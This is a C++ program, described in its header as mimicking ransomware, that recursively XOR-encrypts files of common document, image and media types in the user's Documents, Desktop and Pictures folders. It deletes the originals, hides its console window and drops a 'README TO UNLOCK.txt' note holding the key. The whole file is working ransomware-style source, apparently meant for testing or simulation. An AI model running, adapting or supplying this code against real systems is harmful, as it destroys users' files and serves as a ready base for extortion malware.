/*
Info: Cycle through computer encrypting files depending on extension type to mimic ransomware
        Currently uses XOR encryption
Compiler: MinGW g++ 8.1.0 (Windows 10)
Flags: -std=c++14 -static-libgcc -static-libstdc++ -lws2_32 -lboost_system -lboost_filesystem
Run ex: ransomware-test.exe

TODO:
*/

#include <iostream>
#include <fstream>
#include <string>
#include <stdlib.h>
#include <cstddef>
#include <vector>
#include <boost/filesystem.hpp>
#include <boost/algorithm/string.hpp>
#include <windows.h>

// set the encryption key
std::string key = "1234567890abcdefghij";
bool decrypt = false;

// file encryption
void encryptFile(std::string inFileName)
{
    std::string newName;
    // determine the new name of the file
    if(decrypt)
    {
        std::size_t found = inFileName.find_last_of(".");
        std::string extension = inFileName.substr(found+1);

        if(extension == "dart")
        {
            newName = inFileName.substr(0, found);
        }
    }
    else
    {
        newName = inFileName + ".dart";
    }

    std::size_t found = inFileName.find_last_of("\\");
    std::string fileName = inFileName.substr(found+1);

    if(fileName != "README TO UNLOCK.txt") // skip if the file is the readme
    {
        // XOR encryption
        std::ifstream inFile;
        std::ofstream outFile;

        inFile.open(inFileName, std::ios::in | std::ios::binary);
        std::string str((std::istreambuf_iterator<char>(inFile)), std::istreambuf_iterator<char>()); // Reads a text file into a single string.
        inFile.close();

        for (unsigned x = 0; x < str.size(); x++) 
            str[x] ^= key[x % key.size()]; 

        outFile.open(newName, std::ios::out | std::ios::binary);
        outFile.write(str.c_str(), str.size());
        outFile.close();

        if(!decrypt) // only delete if we're not decrypting
            boost::filesystem::remove(inFileName);
    }
}

// check listed extensions against known
bool checkFileExtension(const std::string &fileName)
{
    std::size_t found = fileName.find_last_of(".");
    std::string extension = fileName.substr(found+1);
    std::vector<std::string> knownExtensions = {"txt", "html", "doc", "docx", "docm", "dotx", "dotm", "xls", "xlsx", "xlsm", "xltm", "pptx", "pptm", "ppt", "pdf", "jpeg", "jpg", "png", "gif", "mp3", "wma",
                                                "avi", "mkv", "xml", "log", "htm", "css", "js", "php", "ico", "dart"}; // .dart in here for decrypting
    
    for(auto const& ext : knownExtensions)
    {
        if(boost::iequals(ext, extension))
        {
            return true;
        }
    }
    
    return false;
}

// drop help file with decryption key in the directory of encrypted files
void dropHelpFile(const std::string &path)
{
    std::size_t found = path.find_last_of("\\");
    std::string filePath = path.substr(0, found) + "\\README TO UNLOCK.txt";

    if(!boost::filesystem::exists(filePath))
    {
        std::ofstream helpFile;
        helpFile.open(filePath);
        helpFile << "Unlock code: 1234567890abcdefghij";
        helpFile.close();
    }
}

// recursively find all the files in a directory
void getAllFilesInDir(const std::string &dirPath)
{
    try
    {
        if(boost::filesystem::exists(dirPath) && boost::filesystem::is_directory(dirPath))
        {
            boost::filesystem::recursive_directory_iterator iter(dirPath);

            boost::filesystem::recursive_directory_iterator end;

            while(iter != end)
            {
                if(checkFileExtension(iter->path().string()))
                {
                    // start encrypting the file if the extension matches
                    encryptFile(iter->path().string());
                    dropHelpFile(iter->path().string());
                }
                boost::system::error_code ec;
                iter.increment(ec);
            }
        }
    }
    catch (std::system_error & e)
    {

    }
}


int main(int argc, const char *argv[])
{
    // check for decryption mode
    if (argc > 1)
    {
        decrypt = true;
        std::cout << "mode=decrypt" << std::endl;
    }
    else
    {
        FreeConsole();
    }
    // get the username to start the search
    std::string username = getenv("USERNAME");
    std::string userDir = "C:\\Users\\" + username + "\\";

    // User documents directory
    std::string startDir = userDir + "Documents";
    getAllFilesInDir(startDir);

    // User desktop directory
    startDir = userDir + "Desktop";
    getAllFilesInDir(startDir);

    // User pictures directory
    startDir = userDir + "Pictures";
    getAllFilesInDir(startDir);
}